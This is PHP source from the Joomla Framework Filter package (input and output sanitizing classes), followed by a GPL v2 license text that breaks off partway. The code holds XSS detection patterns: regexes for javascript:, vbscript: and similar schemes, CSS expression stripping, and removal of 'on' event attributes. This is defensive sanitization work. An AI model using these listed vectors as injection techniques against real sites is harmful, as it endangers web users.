				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) preg_replace($pattern, '',
$eachString);
					}
				}
				else
				{
					$result = (string) preg_replace($pattern, '', $source);
				}

				break;

			case 'STRING':
				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) $this->remove($this->decode((string)
$eachString));
					}
				}
				else
				{
					$result = (string) $this->remove($this->decode((string)
$source));
				}

				break;

			case 'HTML':
				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) $this->remove((string) $eachString);
					}
				}
				else
				{
					$result = (string) $this->remove((string) $source);
				}

				break;

			case 'ARRAY':
				$result = (array) $source;

				break;

			case 'PATH':
				$pattern =
'/^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/][A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$/';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						preg_match($pattern, (string) $eachString, $matches);
						$result[] = isset($matches[0]) ? (string) $matches[0] : '';
					}
				}
				else
				{
					preg_match($pattern, $source, $matches);
					$result = isset($matches[0]) ? (string) $matches[0] : '';
				}

				break;

			case 'TRIM':
				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$cleaned  = (string) trim($eachString);
						$cleaned  = StringHelper::trim($cleaned, \chr(0xE3) . \chr(0x80) .
\chr(0x80));
						$result[] = StringHelper::trim($cleaned, \chr(0xC2) . \chr(0xA0));
					}
				}
				else
				{
					$result = (string) trim($source);
					$result = StringHelper::trim($result, \chr(0xE3) . \chr(0x80) .
\chr(0x80));
					$result = StringHelper::trim($result, \chr(0xC2) . \chr(0xA0));
				}

				break;

			case 'USERNAME':
				$pattern = '/[\x00-\x1F\x7F<>"\'%&]/';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) preg_replace($pattern, '',
$eachString);
					}
				}
				else
				{
					$result = (string) preg_replace($pattern, '', $source);
				}

				break;

			case 'RAW':
				$result = $source;

				break;

			default:
				// Are we dealing with an array?
				if (\is_array($source))
				{
					foreach ($source as $key => $value)
					{
						// Filter element for XSS and other 'bad' code etc.
						if (\is_string($value))
						{
							$source[$key] = $this->remove($this->decode($value));
						}
					}

					$result = $source;
				}
				else
				{
					// Or a string?
					if (\is_string($source) && !empty($source))
					{
						// Filter source for XSS and other 'bad' code etc.
						$result = $this->remove($this->decode($source));
					}
					else
					{
						// Not an array or string... return the passed parameter
						$result = $source;
					}
				}

				break;
		}

		return $result;
	}

	/**
	 * Function to determine if contents of an attribute are safe
	 *
	 * @param   array  $attrSubSet  A 2 element array for attribute's
name, value
	 *
	 * @return  boolean  True if bad code is detected
	 *
	 * @since   1.0
	 */
	public static function checkAttribute($attrSubSet)
	{
		$quoteStyle = version_compare(\PHP_VERSION, '5.4',
'>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES;

		$attrSubSet[0] = strtolower($attrSubSet[0]);
		$attrSubSet[1] = html_entity_decode(strtolower($attrSubSet[1]),
$quoteStyle, 'UTF-8');

		return (strpos($attrSubSet[1], 'expression') !== false
&& $attrSubSet[0] === 'style')
			||
preg_match('/(?:(?:java|vb|live)script|behaviour|mocha)(?::|&colon;|&column;)/',
$attrSubSet[1]) !== 0;
	}

	/**
	 * Internal method to iteratively remove all unwanted tags and attributes
	 *
	 * @param   string  $source  Input string to be 'cleaned'
	 *
	 * @return  string  'Cleaned' version of input parameter
	 *
	 * @since   1.0
	 */
	protected function remove($source)
	{
		// Iteration provides nested tag protection
		do
		{
			$temp   = $source;
			$source = $this->cleanTags($source);
		}
		while ($temp !== $source);

		return $source;
	}

	/**
	 * Internal method to strip a string of certain tags
	 *
	 * @param   string  $source  Input string to be 'cleaned'
	 *
	 * @return  string  'Cleaned' version of input parameter
	 *
	 * @since   1.0
	 */
	protected function cleanTags($source)
	{
		// First, pre-process this for illegal characters inside attribute values
		$source = $this->escapeAttributeValues($source);

		// In the beginning we don't really have a tag, so everything is
postTag
		$preTag       = null;
		$postTag      = $source;
		$currentSpace = false;

		// Setting to null to deal with undefined variables
		$attr = '';

		// Is there a tag? If so it will certainly start with a '<'.
		$tagOpenStart = StringHelper::strpos($source, '<');

		while ($tagOpenStart !== false)
		{
			// Get some information about the tag we are processing
			$preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);
			$postTag     = StringHelper::substr($postTag, $tagOpenStart);
			$fromTagOpen = StringHelper::substr($postTag, 1);
			$tagOpenEnd  = StringHelper::strpos($fromTagOpen, '>');

			// Check for mal-formed tag where we have a second '<'
before the first '>'
			$nextOpenTag = (StringHelper::strlen($postTag) > $tagOpenStart) ?
StringHelper::strpos($postTag, '<', $tagOpenStart + 1) :
false;

			if (($nextOpenTag !== false) && ($nextOpenTag < $tagOpenEnd))
			{
				// At this point we have a mal-formed tag -- remove the offending open
				$postTag      = StringHelper::substr($postTag, 0, $tagOpenStart) .
StringHelper::substr($postTag, $tagOpenStart + 1);
				$tagOpenStart = StringHelper::strpos($postTag, '<');

				continue;
			}

			// Let's catch any non-terminated tags and skip over them
			if ($tagOpenEnd === false)
			{
				$postTag      = StringHelper::substr($postTag, $tagOpenStart + 1);
				$tagOpenStart = StringHelper::strpos($postTag, '<');

				continue;
			}

			// Do we have a nested tag?
			$tagOpenNested = StringHelper::strpos($fromTagOpen, '<');

			if (($tagOpenNested !== false) && ($tagOpenNested <
$tagOpenEnd))
			{
				$preTag .= StringHelper::substr($postTag, 0, ($tagOpenNested + 1));
				$postTag      = StringHelper::substr($postTag, ($tagOpenNested + 1));
				$tagOpenStart = StringHelper::strpos($postTag, '<');

				continue;
			}

			// Let's get some information about our tag and setup attribute
pairs
			$tagOpenNested = (StringHelper::strpos($fromTagOpen, '<') +
$tagOpenStart + 1);
			$currentTag    = StringHelper::substr($fromTagOpen, 0, $tagOpenEnd);
			$tagLength     = StringHelper::strlen($currentTag);
			$tagLeft       = $currentTag;
			$attrSet       = array();
			$currentSpace  = StringHelper::strpos($tagLeft, ' ');

			// Are we an open tag or a close tag?
			if (StringHelper::substr($currentTag, 0, 1) === '/')
			{
				// Close Tag
				$isCloseTag    = true;
				list($tagName) = explode(' ', $currentTag);
				$tagName       = StringHelper::substr($tagName, 1);
			}
			else
			{
				// Open Tag
				$isCloseTag    = false;
				list($tagName) = explode(' ', $currentTag);
			}

			/*
			 * Exclude all "non-regular" tagnames
			 * OR no tagname
			 * OR remove if xssauto is on and tag is blocked
			 */
			if ((!preg_match('/^[a-z][a-z0-9]*$/i', $tagName))
				|| (!$tagName)
				|| ((\in_array(strtolower($tagName), $this->tagBlacklist))
&& ($this->xssAuto)))
			{
				$postTag      = StringHelper::substr($postTag, ($tagLength + 2));
				$tagOpenStart = StringHelper::strpos($postTag, '<');

				// Strip tag
				continue;
			}

			/*
			 * Time to grab any attributes from the tag... need this section in
			 * case attributes have spaces in the values.
			 */
			while ($currentSpace !== false)
			{
				$attr        = '';
				$fromSpace   = StringHelper::substr($tagLeft, ($currentSpace + 1));
				$nextEqual   = StringHelper::strpos($fromSpace, '=');
				$nextSpace   = StringHelper::strpos($fromSpace, ' ');
				$openQuotes  = StringHelper::strpos($fromSpace, '"');
				$closeQuotes = StringHelper::strpos(StringHelper::substr($fromSpace,
($openQuotes + 1)), '"') + $openQuotes + 1;

				$startAtt         = '';
				$startAttPosition = 0;

				// Find position of equal and open quotes ignoring
				if (preg_match('#\s*=\s*\"#', $fromSpace, $matches,
\PREG_OFFSET_CAPTURE))
				{
					// We have found an attribute, convert its byte position to a UTF-8
string length, using non-multibyte substr()
					$stringBeforeAttr = substr($fromSpace, 0, $matches[0][1]);
					$startAttPosition = StringHelper::strlen($stringBeforeAttr);
					$startAtt         = $matches[0][0];
					$closeQuotePos    = StringHelper::strpos(
						StringHelper::substr($fromSpace, ($startAttPosition +
StringHelper::strlen($startAtt))), '"'
					);
					$closeQuotes = $closeQuotePos + $startAttPosition +
StringHelper::strlen($startAtt);
					$nextEqual   = $startAttPosition + StringHelper::strpos($startAtt,
'=');
					$openQuotes  = $startAttPosition + StringHelper::strpos($startAtt,
'"');
					$nextSpace   = StringHelper::strpos(StringHelper::substr($fromSpace,
$closeQuotes), ' ') + $closeQuotes;
				}

				// Do we have an attribute to process? [check for equal sign]
				if ($fromSpace !== '/' && (($nextEqual &&
$nextSpace && $nextSpace < $nextEqual) || !$nextEqual))
				{
					if (!$nextEqual)
					{
						$attribEnd = StringHelper::strpos($fromSpace, '/') - 1;
					}
					else
					{
						$attribEnd = $nextSpace - 1;
					}

					// If there is an ending, use this, if not, do not worry.
					if ($attribEnd > 0)
					{
						$fromSpace = StringHelper::substr($fromSpace, $attribEnd + 1);
					}
				}

				if (StringHelper::strpos($fromSpace, '=') !== false)
				{
					/*
					 * If the attribute value is wrapped in quotes we need to grab the
substring from the closing quote,
					 * otherwise grab until the next space.
					 */
					if (($openQuotes !== false)
						&& (StringHelper::strpos(StringHelper::substr($fromSpace,
($openQuotes + 1)), '"') !== false))
					{
						$attr = StringHelper::substr($fromSpace, 0, ($closeQuotes + 1));
					}
					else
					{
						$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
					}
				}
				else
				{
					// No more equal signs so add any extra text in the tag into the
attribute array [eg. checked]
					if ($fromSpace !== '/')
					{
						$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
					}
				}

				// Last Attribute Pair
				if (!$attr && $fromSpace !== '/')
				{
					$attr = $fromSpace;
				}

				// Add attribute pair to the attribute array
				$attrSet[] = $attr;

				// Move search point and continue iteration
				$tagLeft      = StringHelper::substr($fromSpace,
StringHelper::strlen($attr));
				$currentSpace = StringHelper::strpos($tagLeft, ' ');
			}

			// Is our tag in the user input array?
			$tagFound = \in_array(strtolower($tagName), $this->tagsArray);

			// If the tag is allowed let's append it to the output string.
			if ((!$tagFound && $this->tagsMethod) || ($tagFound
&& !$this->tagsMethod))
			{
				// Reconstruct tag with allowed attributes
				if (!$isCloseTag)
				{
					// Open or single tag
					$attrSet = $this->cleanAttributes($attrSet);
					$preTag .= '<' . $tagName;

					for ($i = 0, $count = \count($attrSet); $i < $count; $i++)
					{
						$preTag .= ' ' . $attrSet[$i];
					}

					// Reformat single tags to XHTML
					if (StringHelper::strpos($fromTagOpen, '</' . $tagName))
					{
						$preTag .= '>';
					}
					else
					{
						$preTag .= ' />';
					}
				}
				else
				{
					// Closing tag
					$preTag .= '</' . $tagName . '>';
				}
			}

			// Find next tag's start and continue iteration
			$postTag      = StringHelper::substr($postTag, ($tagLength + 2));
			$tagOpenStart = StringHelper::strpos($postTag, '<');
		}

		// Append any code after the end of tags and return
		if ($postTag !== '<')
		{
			$preTag .= $postTag;
		}

		return $preTag;
	}

	/**
	 * Internal method to strip a tag of certain attributes
	 *
	 * @param   array  $attrSet  Array of attribute pairs to filter
	 *
	 * @return  array  Filtered array of attribute pairs
	 *
	 * @since   1.0
	 */
	protected function cleanAttributes($attrSet)
	{
		$newSet = array();

		$count = \count($attrSet);

		// Iterate through attribute pairs
		for ($i = 0; $i < $count; $i++)
		{
			// Skip blank spaces
			if (!$attrSet[$i])
			{
				continue;
			}

			// Split into name/value pairs
			$attrSubSet = explode('=', trim($attrSet[$i]), 2);

			// Take the last attribute in case there is an attribute with no value
			$attrSubSet0   = explode(' ', trim($attrSubSet[0]));
			$attrSubSet[0] = array_pop($attrSubSet0);

			$attrSubSet[0] = strtolower($attrSubSet[0]);
			$quoteStyle    = version_compare(\PHP_VERSION, '5.4',
'>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES;

			// Remove all spaces as valid attributes does not have spaces.
			$attrSubSet[0] = html_entity_decode($attrSubSet[0], $quoteStyle,
'UTF-8');
			$attrSubSet[0] = preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u',
'', $attrSubSet[0]);
			$attrSubSet[0] = preg_replace('/\s+/u', '',
$attrSubSet[0]);

			// Remove blocked chars from the attribute name
			foreach ($this->blockedChars as $blockedChar)
			{
				$attrSubSet[0] = str_ireplace($blockedChar, '',
$attrSubSet[0]);
			}

			// Remove all symbols
			$attrSubSet[0] = preg_replace('/[^\p{L}\p{N}\-\s]/u',
'', $attrSubSet[0]);

			// Remove all "non-regular" attribute names
			// AND blocked attributes
			if ((!preg_match('/[a-z]*$/i', $attrSubSet[0]))
				|| (($this->xssAuto) &&
((\in_array(strtolower($attrSubSet[0]), $this->attrBlacklist))
				|| (substr($attrSubSet[0], 0, 2) == 'on'))))
			{
				continue;
			}

			// XSS attribute value filtering
			if (!isset($attrSubSet[1]))
			{
				continue;
			}

			// Remove blocked chars from the attribute value
			foreach ($this->blockedChars as $blockedChar)
			{
				$attrSubSet[1] = str_ireplace($blockedChar, '',
$attrSubSet[1]);
			}

			// Trim leading and trailing spaces
			$attrSubSet[1] = trim($attrSubSet[1]);

			// Strips unicode, hex, etc
			$attrSubSet[1] = str_replace('&#', '',
$attrSubSet[1]);

			// Strip normal newline within attr value
			$attrSubSet[1] = preg_replace('/[\n\r]/', '',
$attrSubSet[1]);

			// Strip double quotes
			$attrSubSet[1] = str_replace('"', '',
$attrSubSet[1]);

			// Convert single quotes from either side to doubles (Single quotes
shouldn't be used to pad attr values)
			if ((substr($attrSubSet[1], 0, 1) == "'") &&
(substr($attrSubSet[1], (\strlen($attrSubSet[1]) - 1), 1) ==
"'"))
			{
				$attrSubSet[1] = substr($attrSubSet[1], 1, (\strlen($attrSubSet[1]) -
2));
			}

			// Strip slashes
			$attrSubSet[1] = stripslashes($attrSubSet[1]);

			// Autostrip script tags
			if (static::checkAttribute($attrSubSet))
			{
				continue;
			}

			// Is our attribute in the user input array?
			$attrFound = \in_array(strtolower($attrSubSet[0]), $this->attrArray);

			// If the tag is allowed lets keep it
			if ((!$attrFound && $this->attrMethod) || ($attrFound
&& !$this->attrMethod))
			{
				// Does the attribute have a value?
				if (empty($attrSubSet[1]) === false)
				{
					$newSet[] = $attrSubSet[0] . '="' . $attrSubSet[1] .
'"';
				}
				elseif ($attrSubSet[1] === '0')
				{
					// Special Case
					// Is the value 0?
					$newSet[] = $attrSubSet[0] . '="0"';
				}
				else
				{
					// Leave empty attributes alone
					$newSet[] = $attrSubSet[0] . '=""';
				}
			}
		}

		return $newSet;
	}

	/**
	 * Try to convert to plaintext
	 *
	 * @param   string  $source  The source string.
	 *
	 * @return  string  Plaintext string
	 *
	 * @since   1.0
	 * @deprecated  This method will be removed once support for PHP 5.3 is
discontinued.
	 */
	protected function decode($source)
	{
		return html_entity_decode($source, \ENT_QUOTES, 'UTF-8');
	}

	/**
	 * Escape < > and " inside attribute values
	 *
	 * @param   string  $source  The source string.
	 *
	 * @return  string  Filtered string
	 *
	 * @since   1.0
	 */
	protected function escapeAttributeValues($source)
	{
		$alreadyFiltered = '';
		$remainder       = $source;
		$badChars        = array('<', '"',
'>');
		$escapedChars    = array('&lt;', '&quot;',
'&gt;');

		// Process each portion based on presence of =" and
"<space>, "/>, or ">
		// See if there are any more attributes to process
		while (preg_match('#<[^>]*?=\s*?(\"|\')#s',
$remainder, $matches, \PREG_OFFSET_CAPTURE))
		{
			// We have found a tag with an attribute, convert its byte position to a
UTF-8 string length, using non-multibyte substr()
			$stringBeforeTag = substr($remainder, 0, $matches[0][1]);
			$tagPosition     = StringHelper::strlen($stringBeforeTag);

			// Get the character length before the attribute value
			$nextBefore = $tagPosition + StringHelper::strlen($matches[0][0]);

			// Figure out if we have a single or double quote and look for the
matching closing quote
			// Closing quote should be "/>, ">, "<space>,
or " at the end of the string
			$quote     = StringHelper::substr($matches[0][0], -1);
			$pregMatch = ($quote == '"') ?
'#(\"\s*/\s*>|\"\s*>|\"\s+|\"$)#' :
"#(\'\s*/\s*>|\'\s*>|\'\s+|\'$)#";

			// Get the portion after attribute value
			$attributeValueRemainder = StringHelper::substr($remainder,
$nextBefore);

			if (preg_match($pregMatch, $attributeValueRemainder, $matches,
\PREG_OFFSET_CAPTURE))
			{
				// We have a closing quote, convert its byte position to a UTF-8 string
length, using non-multibyte substr()
				$stringBeforeQuote = substr($attributeValueRemainder, 0,
$matches[0][1]);
				$closeQuoteChars   = StringHelper::strlen($stringBeforeQuote);
				$nextAfter         = $nextBefore + $matches[0][1];
			}
			else
			{
				// No closing quote
				$nextAfter = StringHelper::strlen($remainder);
			}

			// Get the actual attribute value
			$attributeValue = StringHelper::substr($remainder, $nextBefore,
$nextAfter - $nextBefore);

			// Escape bad chars
			$attributeValue = str_replace($badChars, $escapedChars,
$attributeValue);
			$attributeValue = $this->stripCssExpressions($attributeValue);
			$alreadyFiltered .= StringHelper::substr($remainder, 0, $nextBefore) .
$attributeValue . $quote;
			$remainder = StringHelper::substr($remainder, $nextAfter + 1);
		}

		// At this point, we just have to return the $alreadyFiltered and the
$remainder
		return $alreadyFiltered . $remainder;
	}

	/**
	 * Remove CSS Expressions in the form of <property>:expression(...)
	 *
	 * @param   string  $source  The source string.
	 *
	 * @return  string  Filtered string
	 *
	 * @since   1.0
	 */
	protected function stripCssExpressions($source)
	{
		// Strip any comments out (in the form of /*...*/)
		$test = preg_replace('#\/\*.*\*\/#U', '', $source);

		// Test for :expression
		if (!stripos($test, ':expression'))
		{
			// Not found, so we are done
			return $source;
		}

		// At this point, we have stripped out the comments and have found
:expression
		// Test stripped string for :expression followed by a '('
		if (preg_match_all('#:expression\s*\(#', $test, $matches))
		{
			// If found, remove :expression
			return str_ireplace(':expression', '', $test);
		}

		return $source;
	}
}
<?php
/**
 * Part of the Joomla Framework Filter Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filter;

use Joomla\Language\Language;
use Joomla\String\StringHelper;

/**
 * OutputFilter
 *
 * @since  1.0
 */
class OutputFilter
{
	/**
	 * Makes an object safe to display in forms
	 *
	 * Object parameters that are non-string, array, object or start with
underscore
	 * will be converted
	 *
	 * @param   object   $mixed        An object to be parsed
	 * @param   integer  $quoteStyle   The optional quote style for the
htmlspecialchars function
	 * @param   mixed    $excludeKeys  An optional string single field name or
array of field names not to be parsed (eg, for a textarea)
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public static function objectHtmlSafe(&$mixed, $quoteStyle =
\ENT_QUOTES, $excludeKeys = '')
	{
		if (\is_object($mixed))
		{
			foreach (get_object_vars($mixed) as $k => $v)
			{
				if (\is_array($v) || \is_object($v) || $v == null || substr($k, 1, 1)
== '_')
				{
					continue;
				}

				if (\is_string($excludeKeys) && $k == $excludeKeys)
				{
					continue;
				}

				if (\is_array($excludeKeys) && \in_array($k, $excludeKeys))
				{
					continue;
				}

				$mixed->$k = htmlspecialchars($v, $quoteStyle, 'UTF-8');
			}
		}
	}

	/**
	 * This method processes a string and replaces all instances of & with
&amp; in links only.
	 *
	 * @param   string  $input  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   1.0
	 */
	public static function linkXhtmlSafe($input)
	{
		$regex =
'href="([^"]*(&(amp;){0})[^"]*)*?"';

		return preg_replace_callback(
			"#$regex#i",
			function ($m)
			{
				return preg_replace('#&(?!amp;)#', '&amp;',
$m[0]);
			},
			$input
		);
	}

	/**
	 * This method processes a string and replaces all accented UTF-8
characters by unaccented
	 * ASCII-7 "equivalents", whitespaces are replaced by hyphens
and the string is lowercase.
	 *
	 * @param   string  $string    String to process
	 * @param   string  $language  Language to transliterate to
	 *
	 * @return  string  Processed string
	 *
	 * @since   1.0
	 */
	public static function stringUrlSafe($string, $language = '')
	{
		// Remove any '-' from the string since they will be used as
concatenaters
		$str = str_replace('-', ' ', $string);

		// Transliterate on the language requested (fallback to current language
if not specified)
		$lang = empty($language) ? Language::getInstance() :
Language::getInstance($language);
		$str  = $lang->transliterate($str);

		// Trim white spaces at beginning and end of alias and make lowercase
		$str = trim(StringHelper::strtolower($str));

		// Remove any duplicate whitespace, and ensure all characters are
alphanumeric
		$str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-',
$str);

		// Trim dashes at beginning and end of alias
		$str = trim($str, '-');

		return $str;
	}

	/**
	 * This method implements unicode slugs instead of transliteration.
	 *
	 * @param   string  $string  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   1.0
	 */
	public static function stringUrlUnicodeSlug($string)
	{
		// Replace double byte whitespaces by single byte (East Asian languages)
		$str = preg_replace('/\xE3\x80\x80/', ' ', $string);

		// Remove any '-' from the string as they will be used as
concatenator.
		// Would be great to let the spaces in but only Firefox is friendly with
this

		$str = str_replace('-', ' ', $str);

		// Replace forbidden characters by whitespaces
		$str =
preg_replace('#[:\#\*"@+=;!><&\.%()\]\/\'\\\\|\[]#',
"\x20", $str);

		// Delete all '?'
		$str = str_replace('?', '', $str);

		// Trim white spaces at beginning and end of alias and make lowercase
		$str = trim(StringHelper::strtolower($str));

		// Remove any duplicate whitespace and replace whitespaces by hyphens
		$str = preg_replace('#\x20+#', '-', $str);

		return $str;
	}

	/**
	 * Replaces &amp; with & for XHTML compliance
	 *
	 * @param   string  $text  Text to process
	 *
	 * @return  string  Processed string.
	 *
	 * @since   1.0
	 */
	public static function ampReplace($text)
	{
		return preg_replace('/(?<!&)&(?!&|#|[\w]+;)/',
'&amp;', $text);
	}

	/**
	 * Cleans text of all formatting and scripting code
	 *
	 * @param   string  $text  Text to clean
	 *
	 * @return  string  Cleaned text.
	 *
	 * @since   1.0
	 */
	public static function cleanText(&$text)
	{
		$text =
preg_replace("'<script[^>]*>.*?</script>'si",
'', $text);
		$text =
preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is',
'\2 (\1)', $text);
		$text = preg_replace('/<!--.+?-->/', '',
$text);
		$text = preg_replace('/{.+?}/', '', $text);
		$text = preg_replace('/&nbsp;/', ' ', $text);
		$text = preg_replace('/&amp;/', ' ', $text);
		$text = preg_replace('/&quot;/', ' ', $text);
		$text = strip_tags($text);
		$text = htmlspecialchars($text, \ENT_COMPAT, 'UTF-8');

		return $text;
	}

	/**
	 * Strip img-tags from string
	 *
	 * @param   string  $string  Sting to be cleaned.
	 *
	 * @return  string  Cleaned string
	 *
	 * @since   1.0
	 */
	public static function stripImages($string)
	{
		return preg_replace('#(<[/]?img.*>)#U', '',
$string);
	}

	/**
	 * Strip iframe-tags from string
	 *
	 * @param   string  $string  Sting to be cleaned.
	 *
	 * @return  string  Cleaned string
	 *
	 * @since   1.0
	 */
	public static function stripIframes($string)
	{
		return preg_replace('#(<[/]?iframe.*>)#U', '',
$string);
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

